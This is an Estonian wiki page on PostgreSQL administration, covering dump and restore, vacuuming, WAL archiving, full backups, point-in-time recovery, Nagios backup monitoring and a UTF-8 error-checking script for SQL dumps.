Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
